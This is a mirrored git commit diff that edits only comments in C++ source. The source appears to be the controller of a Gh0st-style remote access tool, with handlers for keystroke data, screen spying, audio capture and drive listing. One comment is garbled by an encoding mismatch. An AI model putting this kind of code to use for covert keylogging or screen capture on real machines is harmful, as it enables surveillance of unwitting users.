mirror of
https://github.com/Cc28256/CcRemote.git
synced 2025-06-08 13:29:50 +00:00
更新流程图
This commit is contained in:
parent
ac601b4a57
commit
0df44971ee
Binary file not shown.
@ -146,7 +146,7 @@ HBRUSH CShellDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
|
|||||||
return hbr;
|
return hbr;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 梳理消息函数
|
||||||
void CShellDlg::OnReceiveComplete(void)
|
void CShellDlg::OnReceiveComplete(void)
|
||||||
{
|
{
|
||||||
AddKeyBoardData();
|
AddKeyBoardData();
|
||||||
|
@ -136,7 +136,7 @@ void CALLBACK CCcRemoteDlg::NotifyProc(LPVOID lpParam, ClientContext *pContext,
|
|||||||
case NC_TRANSMIT:
|
case NC_TRANSMIT:
|
||||||
break;
|
break;
|
||||||
case NC_RECEIVE:
|
case NC_RECEIVE:
|
||||||
//ProcessReceive(pContext); //这里是有数据到来 但没有完全接收
|
//ProcessReceive(pContext); // 这里是有数据到来 但没有完全接收
|
||||||
break;
|
break;
|
||||||
case NC_RECEIVE_COMPLETE:
|
case NC_RECEIVE_COMPLETE:
|
||||||
ProcessReceiveComplete(pContext); //这里时完全接收 处理发送来的数据 跟进 ProcessReceiveComplete
|
ProcessReceiveComplete(pContext); //这里时完全接收 处理发送来的数据 跟进 ProcessReceiveComplete
|
||||||
@ -799,7 +799,7 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
|
|||||||
return;
|
return;
|
||||||
|
|
||||||
// 如果管理对话框打开,交给相应的对话框处理
|
// 如果管理对话框打开,交给相应的对话框处理
|
||||||
CDialog *dlg = (CDialog *)pContext->m_Dialog[1]; //这里就是ClientContext 结构体的int m_Dialog[2];
|
CDialog *dlg = (CDialog *)pContext->m_Dialog[1]; // ClientContext 结构体的int m_Dialog[2];
|
||||||
|
|
||||||
// 交给窗口处理
|
// 交给窗口处理
|
||||||
if (pContext->m_Dialog[0] > 0) //这里查看是否给他赋值了,如果赋值了就把数据传给功能窗口处理
|
if (pContext->m_Dialog[0] > 0) //这里查看是否给他赋值了,如果赋值了就把数据传给功能窗口处理
|
||||||
@ -880,11 +880,11 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
|
|||||||
g_pCcRemoteDlg->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
|
g_pCcRemoteDlg->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
|
||||||
break;
|
break;
|
||||||
case TOKEN_DRIVE_LIST: // 驱动器列表
|
case TOKEN_DRIVE_LIST: // 驱动器列表
|
||||||
// 指接调用public函数非模态对话框会失去反应, 不知道怎么回事,太菜
|
// 指接调用public函数非模态对话框会失去反应
|
||||||
g_pCcRemoteDlg->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext);
|
g_pCcRemoteDlg->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext);
|
||||||
break;
|
break;
|
||||||
case TOKEN_BITMAPINFO: //
|
case TOKEN_BITMAPINFO: //
|
||||||
// 指接调用public函数非模态对话框会失去反应, 不知道怎么回事
|
// 指接调用public函数非模态对话框会失去反应
|
||||||
g_pCcRemoteDlg->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
|
g_pCcRemoteDlg->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
|
||||||
break;
|
break;
|
||||||
//进程遍历和窗口遍历公用的一个窗口类,在构造判断判断下类型来显示不同的数据
|
//进程遍历和窗口遍历公用的一个窗口类,在构造判断判断下类型来显示不同的数据
|
||||||
|
@ -812,10 +812,12 @@ void CIOCPServer::Send(ClientContext* pContext, LPBYTE lpData, UINT nSize)
|
|||||||
WaitForSingleObject(pContext->m_hWriteComplete, INFINITE);
|
WaitForSingleObject(pContext->m_hWriteComplete, INFINITE);
|
||||||
|
|
||||||
// Prepare Packet
|
// Prepare Packet
|
||||||
// pContext->m_wsaOutBuffer.buf = (CHAR*) new BYTE[nSize];
|
// pContext->m_wsaOutBuffer.buf = (CHAR*) new BYTE[nSize];
|
||||||
// pContext->m_wsaOutBuffer.len = pContext->m_WriteBuffer.GetBufferLen();
|
// pContext->m_wsaOutBuffer.len = pContext->m_WriteBuffer.GetBufferLen();
|
||||||
|
|
||||||
OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite);
|
OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite);
|
||||||
|
// PostQueuedCompletionStatus主要是投递一个任务到完成队列当中
|
||||||
|
// 从而使得在等待队列消息的某一个线程收取到.其参与分别与GetQueuedCompletionStauts相对应,
|
||||||
PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD) pContext, &pOverlap->m_ol);
|
PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD) pContext, &pOverlap->m_ol);
|
||||||
|
|
||||||
pContext->m_nMsgOut++;
|
pContext->m_nMsgOut++;
|
||||||
|
@ -86,7 +86,7 @@ public:
|
|||||||
};
|
};
|
||||||
|
|
||||||
|
|
||||||
struct ClientContext //简单分析ClientContext结构体然后回到 SendSelectCommand
|
struct ClientContext //ClientContext½á¹¹Ìå SendSelectCommand
|
||||||
{
|
{
|
||||||
SOCKET m_Socket; //Ì×½Ó×Ö
|
SOCKET m_Socket; //Ì×½Ó×Ö
|
||||||
// Store buffers
|
// Store buffers
|
||||||
|
Binary file not shown.
Loading…
x
Reference in New Issue
Block a user